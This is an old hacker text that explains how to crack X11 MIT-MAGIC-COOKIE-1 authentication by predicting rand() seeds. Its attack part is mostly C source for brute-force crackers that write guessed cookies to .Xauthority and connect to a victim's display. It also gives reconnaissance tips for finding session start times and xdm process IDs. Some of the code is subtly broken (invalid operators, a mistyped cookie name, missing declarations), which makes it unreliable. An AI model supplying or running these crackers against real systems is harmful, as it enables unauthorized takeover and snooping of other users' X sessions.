1) Auth-data is generated from 16 successive random numbers.
MIT-MAGIC-COOKIE-1 can use 2 different methods of seeding the random number generator:

2) Process ID/time of day in microsecs is rotated left by 16 bits and added to the time of day in seconds:

   #ifdef ITIMER_REAL 
     gettimeofday(&tod,&time_zone);
     a=tod.tv_secs;
     b=tod.tv_usecs;
   #else
     a=time(NULL);
     b=getpid();
   #endif 

     seed=(a+(b<<16));
     srand(seed); 

     for(i=0;i<16;i++)
      auth[i]=rand();

3) Some operating systems that use the traditional srand()/rand() functions have a mathematical flaw inherent in them that allows a faster method of cracking auth-data, or a brute force attack on a remote machine to which the user has no access.

To determine if the target system's OS supports the rand() flaw, compile and run the following src code under that operating system. Two systems that support the flaw are SunOS4.1.x and FreeBSD. OSF/x does NOT support the flaw.

     #include <stdio.h>
     main() {
      char auth[16];
      int i;

      srand(1);
      for(i=0;i<16;i++)
       auth[i]=rand()&0xff; 
      srand(257);
      for(i=0;i<16;i++)
       if (auth[i]!=(rand()&0xff))
	exit(0);
      puts("System supports flaw.");
     }

4) If the program produces no output, then the OS does NOT support the flaw, and hence the long method should be used (see step 7-)

5) Brute Force cracking of cookies generated using both methods (utilising rand()'s flaw)

The lower 8 bits of numbers produced by rand() follow a predictable pattern, and are a function of the lower 8 bits of the seed value. Hence, to crack the auth-data, trying auths generated with seed values 0x00-0xff will yield a matching auth-data set.

The code for such a method is as follows:

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <X11/Xlib.h>
#include <X11/Xauth.h>

char buf[256];

main(int argc, char **argv) {
  long dpy;
  char *ptr=(caddr_t)&dpy;
  int i,j;
  FILE *fd;

  puts("display:");
  gets(buf);
  sscanf(buf,"%d.%d.%d.%d:0.0",ptr[0],ptr[1],ptr[2],ptr[3]);
    
  cookie.family=0;
  cookie.address_length=4;
  cookie.address=ptr;
  cookie.number_length=1;
  cookie.number="0";
  cookie.name_length=18; 
  cookie.name="MIT-MAGIC-COOKIE=1";
  cookie.data_length=16;
  cookie.data=auth;

  chdir(getenv("HOME"));
  if ((fd=fopen(".Xauthority","w"))==NULL)
   {
    perror("fopen");
    exit(1);
   }

  for(i=0;i<256;i++) {
   srand(i);
   for (j=0;j<16;j++)
    auth[j]=rand();
  
   rewind(fd);
   XauWriteAuth(fd,&cookie);
   fflush(fd);

   if (XOpenDisplay(buf)!==NULL) {
    puts("success!");
    puts("cookie added to .Xauthority");
    
    exit(0);
    }
  }

  fclose(fd);
  unlink(".hehe");
  puts("auth crack failed...");
 }  

6) Lazy people may furthur narrow the search space by determining the time of day (in seconds) at which the X-connection was created, and using the lower 8 bits of that time as a seed (for an exact, one shot crack or as a starting approximation for a seed value...). This can be determined by intelligent means, such as fingering the user, checking utmp logs etc etc (see step 7 for a good method)

7) Cracking cookies generated by method 'a' (on systems without the flaw)

On operating systems such as OSF/x, the flaw is (to all intents and purposes) has been removed by reversing the major and minor nibbles (effectively, returning (rand()>>16) ).

In order to crack a user's cookie, then, it is necessary to be able to find out the process id of the xdm handling a display (which would require being able to do a 'ps' on the machine serving the X-client), and to know the approximate time that the session was started.

A good way to determine the time of day that the session was created is to locate the file that contains the server's copy of the authority data, and to stat the file and use the creation time (st_ctime) as the time component of the seed.

Such files can be found in the authDir named in the xdm-config file (/usr/lib/X11/xdm/xdm-config -- or whatever follows the '-config' arg in xdm's command line) under DisplayManager.authDir .

A simple source (that uses the file timestamp idea outlined above) follows:

#include <stdio.h>
#include <X11/Xauth.h>
#include <sys/stat.h>
#include <sys/types.h>

main() {
 Xauth cookie;
 struct stat info;
 char buf[256],dpy[4],auth[16],disp[25];
 pid_t user_xdm;
 FILE *fd;
 int i,j;
 time_t now;

 puts("enter display (x.x.x.x:0.0)");
 gets(disp);
 sscanf(disp,"%d.%d.%d.%d:0.0\r",&dpy[0],&dpy[1],&dpy[2],&dpy[3]);

 /* NOTE that the id prompted for here is not the pid found
    in the xdm-pid file, but is the id of the session xdm process,
    which usually appears in a ps -a looking something like:

	- (xdm)
 */
 puts("enter session xdm id:");
 scanf("%d\r",&user_xdm);
 
 /* the pathname of the server's auth_file */
 puts("enter FULL pathname of server's auth file");
 gets(buf);

 if (stat(buf,&info) {
  puts("Oops, couldn't find file");
  exit(1);
  }
 now=info.st_ctime; 

 cookie.family=0;
 cookie.addr_length=4;
 cookie.addr=dpy;
 cookie.number_length=1;
 cookie.number="0";
 cookie.name_length=18;
 cookie.name="MIT-MAGIC-COOKIE-1";
 cookie.data_length=16;
 cookie.data=auth;

 chdir(getenv("HOME"));
 if ((fd=fopen(".Xauthority","w"))==NULL)
  {
   perror("fopen failed");
   exit(1);
  }

 for(i=0;i<2;i++) {
  srand(now+(user_xdm<<16));
  for(j=0;j<16;j++)
   auth[j]=rand()&x0ff;
  XauWriteAuth(fd,&cookie);
  fflush(fd);
  if (XOpenDisplay(disp)) {
   puts("cookie added to .Xauthority");
   fclose(fd);
   exit(0);
   }
  else {
   rewind(fd);
   now--;
   }
  }
  puts("Cookie not found!!!!");
  exit(1);
}

8) Cracking cookies generated by method b) (on systems without the flaw)

Good luck. The time of day is easily predicted by guesswork, or by statting the server's authfile, but the time of day in microseconds has to be guessed. Matters are made slightly easier by the fact that the time of day in milliseconds is left shifted by 16 bits (tv_msec << 16), and hence is only a 16-bit factor to deal with (iteratively trying 65536 microsecond timestamps is faster than 1,000,000).

If a user has access to the machine, it will take at most 2*65536 (accounting for the fact that the file's timestamp may be out by one second -- see 7) == 131072 iterations. Chances are slim that a user will stay logged on for a single session that long (console sessions are a possibility).

HTML-version by Markus Hübner

Back to the Security-Page